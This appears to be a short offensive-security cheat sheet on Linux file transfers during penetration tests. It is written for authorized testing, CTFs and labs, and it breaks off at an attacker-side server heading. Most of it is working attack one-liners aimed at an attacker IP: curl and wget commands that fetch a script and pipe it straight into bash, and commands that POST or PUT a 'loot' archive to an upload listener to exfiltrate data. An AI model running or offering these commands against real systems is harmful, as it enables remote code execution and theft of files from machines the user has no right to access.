Linux File Transfers
Linux File Transfer Cheatsheet Default Ports: HTTP 80/tcp · SSH/SCP 22/tcp · FTP 21/tcp · SMB 445/tcp · TFTP 69/udp “Download” = pulling a file onto the Linux target. “Upload” = exfiltrating off it. For authorized testing, CTFs, and lab use only. wget / curl — Download wget http://10.10.14.5/file -O /tmp/file wget -q http://10.10.14.5/file -O /tmp/file # quiet curl http://10.10.14.5/file -o /tmp/file curl -s http://10.10.14.5/file -o /tmp/file # silent # Ignore TLS cert errors wget --no-check-certificate https://10.10.14.5/file -O /tmp/file curl -k https://10.10.14.5/file -o /tmp/file # Fileless — pipe straight into a shell (verify before doing this) curl -s http://10.10.14.5/s.sh | bash wget -qO- http://10.10.14.5/s.sh | bash wget / curl — Upload (Exfil) # POST a file to an upload-capable listener curl -X POST -F 'file=@/tmp/loot.tar' http://10.10.14.5/upload curl -T /tmp/loot.tar http://10.10.14.5/loot.tar # PUT wget --post-file=/tmp/loot.tar http://10.10.14.5/upload Attacker-side upload server: ...